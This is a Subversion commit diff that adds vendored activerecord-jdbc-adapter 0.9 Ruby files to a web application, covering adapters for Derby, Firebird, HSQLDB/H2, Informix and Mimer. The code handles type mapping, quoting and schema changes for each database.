+
+      def cast_to_date_or_time(value)
+        return value if value.is_a? Date
+        return nil if value.blank?
+        guess_date_or_time((value.is_a? Time) ? value : cast_to_time(value))
+      end
+
+      def cast_to_time(value)
+        return value if value.is_a? Time
+        time_array = ParseDate.parsedate value
+        time_array[0] ||= 2000; time_array[1] ||= 1; time_array[2] ||= 1;
+        Time.send(ActiveRecord::Base.default_timezone, *time_array) rescue nil
+      end
+
+      def guess_date_or_time(value)
+        (value.hour == 0 and value.min == 0 and value.sec == 0) ?
+        Date.new(value.year, value.month, value.day) : value
+      end
+
+      def simplified_type(field_type)
+        return :boolean if field_type =~ /smallint/i
+        return :float if field_type =~ /real/i
+        super
+      end
+    end
+
+    include JdbcSpec::MissingFunctionalityHelper
+
+    def modify_types(tp)
+      tp[:primary_key] = "int generated by default as identity NOT NULL PRIMARY KEY"
+      tp[:integer][:limit] = nil
+      tp[:string][:limit] = 256
+      tp[:boolean] = {:name => "smallint"}
+      tp
+    end
+
+    # Override default -- fix case where ActiveRecord passes :default => nil, :null => true
+    def add_column_options!(sql, options)
+      options.delete(:default) if options.has_key?(:default) && options[:default].nil?
+      options.delete(:null) if options.has_key?(:null) && (options[:null].nil? || options[:null] == true)
+      super
+    end
+
+    def classes_for_table_name(table)
+      ActiveRecord::Base.send(:subclasses).select {|klass| klass.table_name == table}
+    end
+
+    # Set the sequence to the max value of the table's column.
+    def reset_sequence!(table, column, sequence = nil)
+      mpk = select_value("SELECT MAX(#{quote_column_name column}) FROM #{table}")
+      execute("ALTER TABLE #{table} ALTER COLUMN #{quote_column_name column} RESTART WITH #{mpk.to_i + 1}")
+    end
+
+    def reset_pk_sequence!(table, pk = nil, sequence = nil)
+      klasses = classes_for_table_name(table)
+      klass   = klasses.nil? ? nil : klasses.first
+      pk      = klass.primary_key unless klass.nil?
+      if pk && klass.columns_hash[pk].type == :integer
+        reset_sequence!(klass.table_name, pk)
+      end
+    end
+
+    def primary_key(table_name) #:nodoc:
+      primary_keys(table_name).first
+    end
+
+    def remove_index(table_name, options) #:nodoc:
+      execute "DROP INDEX #{index_name(table_name, options)}"
+    end
+
+    def rename_table(name, new_name)
+      execute "RENAME TABLE #{name} TO #{new_name}"
+    end
+
+    COLUMN_INFO_STMT = "SELECT C.COLUMNNAME, C.REFERENCEID, C.COLUMNNUMBER FROM SYS.SYSCOLUMNS C, SYS.SYSTABLES T WHERE T.TABLEID = '%s' AND T.TABLEID = C.REFERENCEID ORDER BY C.COLUMNNUMBER"
+
+    COLUMN_TYPE_STMT = "SELECT COLUMNDATATYPE, COLUMNDEFAULT FROM SYS.SYSCOLUMNS WHERE REFERENCEID = '%s' AND COLUMNNAME = '%s'"
+
+    AUTO_INC_STMT = "SELECT AUTOINCREMENTSTART, AUTOINCREMENTINC, COLUMNNAME, REFERENCEID, COLUMNDEFAULT FROM SYS.SYSCOLUMNS WHERE REFERENCEID = '%s' AND COLUMNNAME = '%s'"
+    AUTO_INC_STMT2 = "SELECT AUTOINCREMENTSTART, AUTOINCREMENTINC, COLUMNNAME, REFERENCEID, COLUMNDEFAULT FROM SYS.SYSCOLUMNS WHERE REFERENCEID = (SELECT T.TABLEID FROM SYS.SYSTABLES T WHERE T.TABLENAME = '%s') AND COLUMNNAME = '%s'"
+
+    def add_quotes(name)
+      return name unless name
+      %Q{"#{name}"}
+    end
+
+    def strip_quotes(str)
+      return str unless str
+      return str unless /^(["']).*\1$/ =~ str
+      str[1..-2]
+    end
+
+    def expand_double_quotes(name)
+      return name unless name && name['"']
+      name.gsub(/"/,'""')
+    end
+
+    def reinstate_auto_increment(name, refid, coldef)
+      stmt = AUTO_INC_STMT % [refid, strip_quotes(name)]
+      data = execute(stmt).first
+      if data
+        start = data['autoincrementstart']
+        if start
+          coldef << " GENERATED " << (data['columndefault'].nil? ? "ALWAYS" : "BY DEFAULT ")
+          coldef << "AS IDENTITY (START WITH "
+          coldef << start
+          coldef << ", INCREMENT BY "
+          coldef << data['autoincrementinc']
+          coldef << ")"
+          return true
+        end
+      end
+      false
+    end
+
+    def reinstate_auto_increment(name, refid, coldef)
+      stmt = AUTO_INC_STMT % [refid, strip_quotes(name)]
+      data = execute(stmt).first
+      if data
+        start = data['autoincrementstart']
+        if start
+          coldef << " GENERATED " << (data['columndefault'].nil? ? "ALWAYS" : "BY DEFAULT ")
+          coldef << "AS IDENTITY (START WITH "
+          coldef << start
+          coldef << ", INCREMENT BY "
+          coldef << data['autoincrementinc']
+          coldef << ")"
+          return true
+        end
+      end
+      false
+    end
+
+    def auto_increment_stmt(tname, cname)
+      stmt = AUTO_INC_STMT2 % [tname, strip_quotes(cname)]
+      data = execute(stmt).first
+      if data
+        start = data['autoincrementstart']
+        if start
+          coldef = ""
+          coldef << " GENERATED " << (data['columndefault'].nil? ? "ALWAYS" : "BY DEFAULT ")
+          coldef << "AS IDENTITY (START WITH "
+          coldef << start
+          coldef << ", INCREMENT BY "
+          coldef << data['autoincrementinc']
+          coldef << ")"
+          return coldef
+        end
+      end
+      ""
+    end
+
+
+    def add_column(table_name, column_name, type, options = {})
+      if option_not_null = options[:null] == false
+        option_not_null = options.delete(:null)
+      end
+      add_column_sql = "ALTER TABLE #{quote_table_name(table_name)} ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
+      add_column_options!(add_column_sql, options)
+      execute(add_column_sql)
+      if option_not_null
+        alter_column_sql = "ALTER TABLE #{quote_table_name(table_name)} ALTER #{quote_column_name(column_name)} NOT NULL"
+      end
+    end
+
+    # I don't think this method is ever called ??? (stepheneb)
+    def create_column(name, refid, colno)
+      stmt = COLUMN_TYPE_STMT % [refid, strip_quotes(name)]
+      coldef = ""
+      data = execute(stmt).first
+      if data
+        coldef << add_quotes(expand_double_quotes(strip_quotes(name)))
+        coldef << " "
+        coldef << data['columndatatype']
+        if !reinstate_auto_increment(name, refid, coldef) && data['columndefault']
+          coldef << " DEFAULT " << data['columndefault']
+        end
+      end
+      coldef
+    end
+
+    SIZEABLE = %w(VARCHAR CLOB BLOB)
+
+    def structure_dump #:nodoc:
+      definition=""
+      rs = @connection.connection.meta_data.getTables(nil,nil,nil,["TABLE"].to_java(:string))
+      while rs.next
+        tname = rs.getString(3)
+        definition << "CREATE TABLE #{tname} (\n"
+        rs2 = @connection.connection.meta_data.getColumns(nil,nil,tname,nil)
+        first_col = true
+        while rs2.next
+          col_name = add_quotes(rs2.getString(4));
+          default = ""
+          d1 = rs2.getString(13)
+          if d1 =~ /^GENERATED_/
+            default = auto_increment_stmt(tname, col_name)
+          elsif d1
+            default = " DEFAULT #{d1}"
+          end
+
+          type = rs2.getString(6)
+          col_size = rs2.getString(7)
+          nulling = (rs2.getString(18) == 'NO' ? " NOT NULL" : "")
+          create_col_string = add_quotes(expand_double_quotes(strip_quotes(col_name))) +
+            " " +
+            type +
+            (SIZEABLE.include?(type) ? "(#{col_size})" : "") +
+            nulling +
+            default
+          if !first_col
+            create_col_string = ",\n #{create_col_string}"
+          else
+            create_col_string = " #{create_col_string}"
+          end
+
+          definition << create_col_string
+
+          first_col = false
+        end
+        definition << ");\n\n"
+      end
+      definition
+    end
+
+    # Support for removing columns added via derby bug issue:
+    # https://issues.apache.org/jira/browse/DERBY-1489
+    #
+    # This feature has not made it into a formal release and is not in Java 6.
+    # If the normal strategy fails we fall back on a strategy by creating a new
+    # table without the new column and there after moving the data to the new
+    #
+    def remove_column(table_name, column_name)
+      begin
+        execute "ALTER TABLE #{table_name} DROP COLUMN #{column_name} RESTRICT"
+      rescue
+        alter_table(table_name) do |definition|
+          definition.columns.delete(definition[column_name])
+        end
+      end
+    end
+
+    # Notes about changing in Derby:
+    #    http://db.apache.org/derby/docs/10.2/ref/rrefsqlj81859.html#rrefsqlj81859__rrefsqlj37860)
+    #
+    # We support changing columns using the strategy outlined in:
+    #    https://issues.apache.org/jira/browse/DERBY-1515
+    #
+    # This feature has not made it into a formal release and is not in Java 6.  We will
+    # need to conditionally support this somehow (supposed to arrive for 10.3.0.0)
+    def change_column(table_name, column_name, type, options = {})
+      # null/not nulling is easy, handle that separately
+      if options.include?(:null)
+        # This seems to only work with 10.2 of Derby
+        if options.delete(:null) == false
+          execute "ALTER TABLE #{table_name} ALTER COLUMN #{column_name} NOT NULL"
+        else
+          execute "ALTER TABLE #{table_name} ALTER COLUMN #{column_name} NULL"
+        end
+      end
+
+      # anything left to do?
+      unless options.empty?
+        begin
+          execute "ALTER TABLE #{table_name} ALTER COLUMN #{column_name} SET DATA TYPE #{type_to_sql(type, options[:limit])}"
+        rescue
+          transaction do
+            temp_new_column_name = "#{column_name}_newtype"
+            # 1) ALTER TABLE t ADD COLUMN c1_newtype NEWTYPE;
+            add_column table_name, temp_new_column_name, type, options
+            # 2) UPDATE t SET c1_newtype = c1;
+            execute "UPDATE #{table_name} SET #{temp_new_column_name} = CAST(#{column_name} AS #{type_to_sql(type, options[:limit])})"
+            # 3) ALTER TABLE t DROP COLUMN c1;
+            remove_column table_name, column_name
+            # 4) ALTER TABLE t RENAME COLUMN c1_newtype to c1;
+            rename_column table_name, temp_new_column_name, column_name
+          end
+        end
+      end
+    end
+
+    # Support for renaming columns:
+    # https://issues.apache.org/jira/browse/DERBY-1490
+    #
+    # This feature is expect to arrive in version 10.3.0.0:
+    # http://wiki.apache.org/db-derby/DerbyTenThreeRelease)
+    #
+    def rename_column(table_name, column_name, new_column_name) #:nodoc:
+      begin
+        execute "ALTER TABLE #{table_name} ALTER RENAME COLUMN #{column_name} TO #{new_column_name}"
+      rescue
+        alter_table(table_name, :rename => {column_name => new_column_name})
+      end
+    end
+
+    def primary_keys(table_name)
+      @connection.primary_keys table_name.to_s.upcase
+    end
+
+    def recreate_database(db_name)
+      tables.each do |t|
+        drop_table t
+      end
+    end
+
+    # For DDL it appears you can quote "" column names, but in queries (like insert it errors out?)
+    def quote_column_name(name) #:nodoc:
+      name = name.to_s
+      if /^references$/i =~ name
+        %Q{"#{name.upcase}"}
+      elsif /[A-Z]/ =~ name && /[a-z]/ =~ name
+        %Q{"#{name}"}
+      elsif name =~ /\s/
+        %Q{"#{name.upcase}"}
+      elsif name =~ /^[_\d]/
+        %Q{"#{name.upcase}"}
+      else
+        name
+      end
+    end
+
+    def quoted_true
+      '1'
+    end
+
+    def quoted_false
+      '0'
+    end
+  end
+end
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_firebird.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_firebird.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_firebird.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,109 @@
+module ::JdbcSpec
+  module FireBird
+    def self.adapter_selector
+      [/firebird/i, lambda{|cfg,adapt| adapt.extend(::JdbcSpec::FireBird)}]
+    end
+
+    def modify_types(tp)
+      tp[:primary_key] = 'INTEGER NOT NULL PRIMARY KEY'
+      tp[:string][:limit] = 252
+      tp[:integer][:limit] = nil
+      tp
+    end
+    
+    def insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) # :nodoc:
+      execute(sql, name)
+      id_value
+    end
+
+    def add_limit_offset!(sql, options) # :nodoc:
+      if options[:limit]
+        limit_string = "FIRST #{options[:limit]}"
+        limit_string << " SKIP #{options[:offset]}" if options[:offset]
+        sql.sub!(/\A(\s*SELECT\s)/i, '\&' + limit_string + ' ')
+      end
+    end
+
+    def prefetch_primary_key?(table_name = nil)
+      true
+    end
+
+    def default_sequence_name(table_name, primary_key) # :nodoc:
+      "#{table_name}_seq"
+    end
+    
+    def next_sequence_value(sequence_name)
+      select_one("SELECT GEN_ID(#{sequence_name}, 1 ) FROM RDB$DATABASE;")["gen_id"]
+    end
+    
+    def create_table(name, options = {}) #:nodoc:
+      super(name, options)
+      execute "CREATE GENERATOR #{name}_seq"
+    end
+
+    def rename_table(name, new_name) #:nodoc:
+      execute "RENAME #{name} TO #{new_name}"
+      execute "UPDATE RDB$GENERATORS SET RDB$GENERATOR_NAME='#{new_name}_seq' WHERE RDB$GENERATOR_NAME='#{name}_seq'" rescue nil
+    end  
+
+    def drop_table(name, options = {}) #:nodoc:
+      super(name)
+      execute "DROP GENERATOR #{name}_seq" rescue nil
+    end
+
+    def change_column(table_name, column_name, type, options = {}) #:nodoc:
+      execute "ALTER TABLE #{table_name} ALTER  #{column_name} TYPE #{type_to_sql(type, options[:limit])}"
+    end
+
+    def rename_column(table_name, column_name, new_column_name)
+      execute "ALTER TABLE #{table_name} ALTER  #{column_name} TO #{new_column_name}"
+    end
+
+    def remove_index(table_name, options) #:nodoc:
+      execute "DROP INDEX #{index_name(table_name, options)}"
+    end
+    
+    def quote(value, column = nil) # :nodoc:
+      return value.quoted_id if value.respond_to?(:quoted_id)
+      
+      if [Time, DateTime].include?(value.class)
+        "CAST('#{value.strftime("%Y-%m-%d %H:%M:%S")}' AS TIMESTAMP)"
+      else
+        if column && column.type == :primary_key
+          return value.to_s
+        end
+        super
+      end
+    end
+
+    def quote_string(string) # :nodoc:
+      string.gsub(/'/, "''")
+    end
+    
+    def quote_column_name(column_name) # :nodoc:
+      %Q("#{ar_to_fb_case(column_name)}")
+    end
+    
+    def quoted_true # :nodoc:
+      quote(1)
+    end
+    
+    def quoted_false # :nodoc:
+      quote(0)
+    end
+
+    private
+    
+    # Maps uppercase Firebird column names to lowercase for ActiveRecord;
+    # mixed-case columns retain their original case.
+    def fb_to_ar_case(column_name)
+      column_name =~ /[[:lower:]]/ ? column_name : column_name.to_s.downcase
+    end
+    
+    # Maps lowercase ActiveRecord column names to uppercase for Fierbird;
+    # mixed-case columns retain their original case.
+    def ar_to_fb_case(column_name)
+      column_name =~ /[[:upper:]]/ ? column_name : column_name.to_s.upcase
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_hsqldb.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_hsqldb.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_hsqldb.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,200 @@
+module ::JdbcSpec
+  module ActiveRecordExtensions
+    def hsqldb_connection(config)
+      config[:url] ||= "jdbc:hsqldb:#{config[:database]}"
+      config[:driver] ||= "org.hsqldb.jdbcDriver"
+      embedded_driver(config)
+    end
+
+    def h2_connection(config)
+      config[:url] ||= "jdbc:h2:#{config[:database]}"
+      config[:driver] ||= "org.h2.Driver"
+      embedded_driver(config)
+    end
+  end
+
+  module HSQLDB
+    def self.column_selector
+      [/hsqldb|\.h2\./i, lambda {|cfg,col| col.extend(::JdbcSpec::HSQLDB::Column)}]
+    end
+
+    def self.adapter_selector
+      [/hsqldb|\.h2\./i, lambda do |cfg,adapt|
+         adapt.extend(::JdbcSpec::HSQLDB)
+         def adapt.h2_adapter; true; end if cfg[:driver] =~ /\.h2\./
+       end]
+    end
+
+    module Column
+      def type_cast(value)
+        return nil if value.nil? || value =~ /^\s*null\s*$/i
+        case type
+        when :string    then value
+        when :integer   then defined?(value.to_i) ? value.to_i : (value ? 1 : 0)
+        when :primary_key then defined?(value.to_i) ? value.to_i : (value ? 1 : 0)
+        when :float     then value.to_f
+        when :datetime  then cast_to_date_or_time(value)
+        when :timestamp then cast_to_time(value)
+        when :binary    then value.scan(/[0-9A-Fa-f]{2}/).collect {|v| v.to_i(16)}.pack("C*")
+        when :time      then cast_to_time(value)
+        else value
+        end
+      end
+      def cast_to_date_or_time(value)
+        return value if value.is_a? Date
+        return nil if value.blank?
+        guess_date_or_time((value.is_a? Time) ? value : cast_to_time(value))
+      end
+
+      def cast_to_time(value)
+        return value if value.is_a? Time
+        time_array = ParseDate.parsedate value
+        time_array[0] ||= 2000; time_array[1] ||= 1; time_array[2] ||= 1;
+        Time.send(ActiveRecord::Base.default_timezone, *time_array) rescue nil
+      end
+
+      def guess_date_or_time(value)
+        (value.hour == 0 and value.min == 0 and value.sec == 0) ?
+        Date.new(value.year, value.month, value.day) : value
+      end
+
+
+      private
+      def simplified_type(field_type)
+        case field_type
+        when /longvarchar/i
+          :text
+        else
+          super(field_type)
+        end
+      end
+
+      # Override of ActiveRecord::ConnectionAdapters::Column
+      def extract_limit(sql_type)
+        # HSQLDB appears to return "LONGVARCHAR(0)" for :text columns, which
+        # for AR purposes should be interpreted as "no limit"
+        return nil if sql_type =~ /\(0\)/
+        super
+      end
+    end
+
+    def modify_types(tp)
+      tp[:primary_key] = "INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 0) PRIMARY KEY"
+      tp[:integer][:limit] = nil
+      tp[:boolean][:limit] = nil
+      # set text and float limits so we don't see odd scales tacked on
+      # in migrations
+      tp[:text][:limit] = nil
+      tp[:float][:limit] = 17
+      tp[:string][:limit] = 255
+      tp[:datetime] = { :name => "DATETIME" }
+      tp[:timestamp] = { :name => "DATETIME" }
+      tp[:time] = { :name => "DATETIME" }
+      tp[:date] = { :name => "DATETIME" }
+      tp
+    end
+
+    def quote(value, column = nil) # :nodoc:
+      return value.quoted_id if value.respond_to?(:quoted_id)
+
+      case value
+      when String
+        if respond_to?(:h2_adapter) && value.empty?
+          "NULL"
+        elsif column && column.type == :binary
+          "'#{quote_string(value).unpack("C*").collect {|v| v.to_s(16)}.join}'"
+        else
+          "'#{quote_string(value)}'"
+        end
+      else super
+      end
+    end
+
+    def quote_string(str)
+      str.gsub(/'/, "''")
+    end
+
+    def quoted_true
+      '1'
+    end
+
+    def quoted_false
+      '0'
+    end
+
+    def add_column(table_name, column_name, type, options = {})
+      if option_not_null = options[:null] == false
+        option_not_null = options.delete(:null)
+      end
+      add_column_sql = "ALTER TABLE #{quote_table_name(table_name)} ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
+      add_column_options!(add_column_sql, options)
+      execute(add_column_sql)
+      if option_not_null
+        alter_column_sql = "ALTER TABLE #{quote_table_name(table_name)} ALTER #{quote_column_name(column_name)} NOT NULL"
+      end
+    end
+
+    def change_column(table_name, column_name, type, options = {}) #:nodoc:
+      execute "ALTER TABLE #{table_name} ALTER COLUMN #{column_name} #{type_to_sql(type, options[:limit])}"
+    end
+
+    def change_column_default(table_name, column_name, default) #:nodoc:
+      execute "ALTER TABLE #{table_name} ALTER COLUMN #{column_name} SET DEFAULT #{quote(default)}"
+    end
+
+    def rename_column(table_name, column_name, new_column_name) #:nodoc:
+      execute "ALTER TABLE #{table_name} ALTER COLUMN #{column_name} RENAME TO #{new_column_name}"
+    end
+
+    def rename_table(name, new_name)
+      execute "ALTER TABLE #{name} RENAME TO #{new_name}"
+    end
+
+    def insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) #:nodoc:
+      log(sql,name) do
+        @connection.execute_update(sql)
+      end
+      table = sql.split(" ", 4)[2]
+      id_value || last_insert_id(table, nil)
+    end
+
+    def last_insert_id(table, sequence_name)
+      Integer(select_value("SELECT IDENTITY() FROM #{table}"))
+    end
+
+    # Override normal #_execute: See Rubyforge #11567
+    def _execute(sql, name = nil)
+      if ::ActiveRecord::ConnectionAdapters::JdbcConnection::select?(sql)
+        @connection.execute_query(sql)
+      elsif ::ActiveRecord::ConnectionAdapters::JdbcConnection::insert?(sql)
+        insert(sql, name)
+      else
+        @connection.execute_update(sql)
+      end
+    end
+
+    def add_limit_offset!(sql, options) #:nodoc:
+      offset = options[:offset] || 0
+      bef = sql[7..-1]
+      if limit = options[:limit]
+        sql.replace "select limit #{offset} #{limit} #{bef}"
+      elsif offset > 0
+        sql.replace "select limit #{offset} 0 #{bef}"
+      end
+    end
+
+    # override to filter out system tables that otherwise end
+    # up in db/schema.rb during migrations.  JdbcConnection#tables
+    # now takes an optional block filter so we can screen out
+    # rows corresponding to system tables.  HSQLDB names its
+    # system tables SYSTEM.*, but H2 seems to name them without
+    # any kind of convention
+    def tables
+      @connection.tables.select {|row| row.to_s !~ /^system_/i }
+    end
+
+    def remove_index(table_name, options = {})
+      execute "DROP INDEX #{quote_column_name(index_name(table_name, options))}"
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_informix.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_informix.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_informix.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,148 @@
+module ::ActiveRecord
+  class Base
+    after_save :write_lobs
+
+  private
+    def write_lobs
+      if connection.is_a?(JdbcSpec::Informix)
+        self.class.columns.each do |c|
+          if [:text, :binary].include? c.type
+            value = self[c.name]
+            value = value.to_yaml if unserializable_attribute?(c.name, c)
+
+            unless value.nil? || (value == '')
+              connection.write_large_object(c.type == :binary,
+                                            c.name,
+                                            self.class.table_name,
+                                            self.class.primary_key,
+                                            quote_value(id),
+                                            value)
+            end
+          end
+        end
+      end
+    end
+  end
+end
+
+module ::JdbcSpec
+  module ActiveRecordExtensions
+    def informix_connection(config)
+      config[:port] ||= 9088
+      config[:url] ||= "jdbc:informix-sqli://#{config[:host]}:#{config[:port]}/#{config[:database]}:INFORMIXSERVER=#{config[:servername]}"
+      config[:driver] = 'com.informix.jdbc.IfxDriver'
+      jdbc_connection(config)
+    end
+  end
+
+  module Informix
+    def self.extended(base)
+      @@db_major_version = base.select_one("SELECT dbinfo('version', 'major') version FROM systables WHERE tabid = 1")['version'].to_i
+    end
+
+    def self.column_selector
+      [ /informix/i,
+        lambda { |cfg, column| column.extend(::JdbcSpec::Informix::Column) } ]
+    end
+
+    def self.adapter_selector
+      [ /informix/i,
+        lambda { |cfg, adapter| adapter.extend(::JdbcSpec::Informix) } ]
+    end
+
+    module Column
+    private
+      # TODO: Test all Informix column types.
+      def simplified_type(field_type)
+        if field_type =~ /serial/i
+          :primary_key
+        else
+          super
+        end
+      end
+    end
+
+    def modify_types(tp)
+      tp[:primary_key] = "SERIAL PRIMARY KEY"
+      tp[:string]      = { :name => "VARCHAR", :limit => 255 }
+      tp[:integer]     = { :name => "INTEGER" }
+      tp[:float]       = { :name => "FLOAT" }
+      tp[:decimal]     = { :name => "DECIMAL" }
+      tp[:datetime]    = { :name => "DATETIME YEAR TO FRACTION(5)" }
+      tp[:timestamp]   = { :name => "DATETIME YEAR TO FRACTION(5)" }
+      tp[:time]        = { :name => "DATETIME HOUR TO FRACTION(5)" }
+      tp[:date]        = { :name => "DATE" }
+      tp[:binary]      = { :name => "BYTE" }
+      tp[:boolean]     = { :name => "BOOLEAN" }
+      tp
+    end
+
+    def prefetch_primary_key?(table_name = nil)
+      true
+    end
+
+    def supports_migrations?
+      true
+    end
+
+    def default_sequence_name(table, column)
+      "#{table}_seq"
+    end
+
+    def add_limit_offset!(sql, options)
+      if options[:limit]
+        limit = "FIRST #{options[:limit]}"
+        # SKIP available only in IDS >= 10
+        offset = (@@db_major_version >= 10 && options[:offset]?
+                  "SKIP #{options[:offset]}" : "")
+        sql.sub!(/^select /i, "SELECT #{offset} #{limit} ")
+      end
+      sql
+    end
+
+    def next_sequence_value(sequence_name)
+      select_one("SELECT #{sequence_name}.nextval id FROM systables WHERE tabid=1")['id']
+    end
+
+    # TODO: Add some smart quoting for newlines in string and text fields.
+    def quote_string(string)
+      string.gsub(/\'/, "''")
+    end
+
+    def quote(value, column = nil)
+      if column && [:binary, :text].include?(column.type)
+        # LOBs are updated separately by an after_save trigger.
+        "NULL"
+      elsif column && column.type == :date
+        "'#{value.mon}/#{value.day}/#{value.year}'"
+      else
+        super
+      end
+    end
+
+    def create_table(name, options = {})
+      super(name, options)
+      execute("CREATE SEQUENCE #{name}_seq")
+    end
+ 
+    def rename_table(name, new_name)
+      execute("RENAME TABLE #{name} TO #{new_name}")
+      execute("RENAME SEQUENCE #{name}_seq TO #{new_name}_seq")
+    end
+ 
+    def drop_table(name)
+      super(name)
+      execute("DROP SEQUENCE #{name}_seq")
+    end
+
+    def remove_index(table_name, options = {})
+      @connection.execute_update("DROP INDEX #{index_name(table_name, options)}")
+    end
+
+  private
+    def select(sql, name = nil)
+      # Informix does not like "= NULL", "!= NULL", or "<> NULL".
+      execute(sql.gsub(/(!=|<>)\s*null/i, "IS NOT NULL").gsub(/=\s*null/i, "IS NULL"), name)
+    end
+  end # module Informix
+end # module ::JdbcSpec

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_mimer.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_mimer.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_mimer.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,134 @@
+module JdbcSpec
+  module Mimer
+    def self.adapter_selector
+      [/mimer/i, lambda {|cfg,adapt| adapt.extend(::JdbcSpec::Mimer)}]
+    end
+
+    def modify_types(tp)
+      tp[:primary_key] = "INTEGER NOT NULL PRIMARY KEY"
+      tp[:boolean][:limit] = nil
+      tp[:string][:limit] = 255
+      tp[:binary] = {:name => "BINARY VARYING", :limit => 4096}
+      tp[:text] = {:name => "VARCHAR", :limit => 4096}
+      tp[:datetime] = { :name => "TIMESTAMP" }
+      tp[:timestamp] = { :name => "TIMESTAMP" }
+      tp[:time] = { :name => "TIMESTAMP" }
+      tp[:date] = { :name => "TIMESTAMP" }
+      tp
+    end
+    
+    def default_sequence_name(table, column) #:nodoc:
+      "#{table}_seq"
+    end
+
+    def create_table(name, options = {}) #:nodoc:
+      super(name, options)
+      execute "CREATE SEQUENCE #{name}_seq" unless options[:id] == false
+    end
+
+    def drop_table(name, options = {}) #:nodoc:
+      super(name) rescue nil
+      execute "DROP SEQUENCE #{name}_seq" rescue nil
+    end
+
+    def change_column(table_name, column_name, type, options = {}) #:nodoc:
+      execute "ALTER TABLE #{table_name} ALTER COLUMN #{column_name} #{type_to_sql(type, options[:limit])}"
+    end
+
+    def change_column_default(table_name, column_name, default) #:nodoc:
+      execute "ALTER TABLE #{table_name} ALTER COLUMN #{column_name} SET DEFAULT #{quote(default)}"
+    end
+
+    def remove_index(table_name, options = {}) #:nodoc:
+      execute "DROP INDEX #{index_name(table_name, options)}"
+    end
+
+    def insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) #:nodoc:
+      if pk.nil? # Who called us? What does the sql look like? No idea!
+        execute sql, name
+      elsif id_value # Pre-assigned id
+        log(sql, name) { @connection.execute_insert sql,pk }
+      else # Assume the sql contains a bind-variable for the id
+        id_value = select_one("SELECT NEXT_VALUE OF #{sequence_name} AS val FROM MIMER.ONEROW")['val']
+        log(sql, name) { 
+          execute_prepared_insert(sql,id_value)
+        }
+      end
+      id_value
+    end
+    
+    def execute_prepared_insert(sql, id)
+      @stmts ||= {}
+      @stmts[sql] ||= @connection.ps(sql)
+      stmt = @stmts[sql]
+      stmt.setLong(1,id)
+      stmt.executeUpdate
+      id
+    end
+
+    def quote(value, column = nil) #:nodoc:
+      return value.quoted_id if value.respond_to?(:quoted_id)
+      
+      if String === value && column && column.type == :binary
+        return "X'#{quote_string(value.unpack("C*").collect {|v| v.to_s(16)}.join)}'"
+      end
+      case value
+      when String     : %Q{'#{quote_string(value)}'}
+      when NilClass   : 'NULL'
+      when TrueClass  : '1'
+      when FalseClass : '0'
+      when Numeric    : value.to_s
+      when Date, Time : %Q{TIMESTAMP '#{value.strftime("%Y-%m-%d %H:%M:%S")}'}
+      else              %Q{'#{quote_string(value.to_yaml)}'}
+      end
+    end
+
+    def quoted_true
+      '1'
+    end
+
+    def quoted_false
+      '0'
+    end
+
+    def add_limit_offset!(sql, options) # :nodoc:
+      @limit = options[:limit]
+      @offset = options[:offset]
+    end
+    
+    def select_all(sql, name = nil)
+      @offset ||= 0
+      if !@limit || @limit == -1
+        range = @offset..-1
+      else
+        range = @offset...(@offset+ at limit)
+      end
+      select(sql, name)[range]
+    ensure
+      @limit = @offset = nil
+    end
+    
+    def select_one(sql, name = nil)
+      @offset ||= 0
+      select(sql, name)[@offset]
+    ensure
+      @limit = @offset = nil
+    end
+
+    def _execute(sql, name = nil)
+        if sql =~ /^select/i
+          @offset ||= 0
+          if !@limit || @limit == -1
+            range = @offset..-1
+          else
+            range = @offset...(@offset+ at limit)
+          end
+          @connection.execute_query(sql)[range]
+        else
+          @connection.execute_update(sql)
+        end
+    ensure
+      @limit = @offset = nil
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_mssql.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter/jdbc_mssql.rb	2008-12-20 20:26:23 UTC (rev 1003)
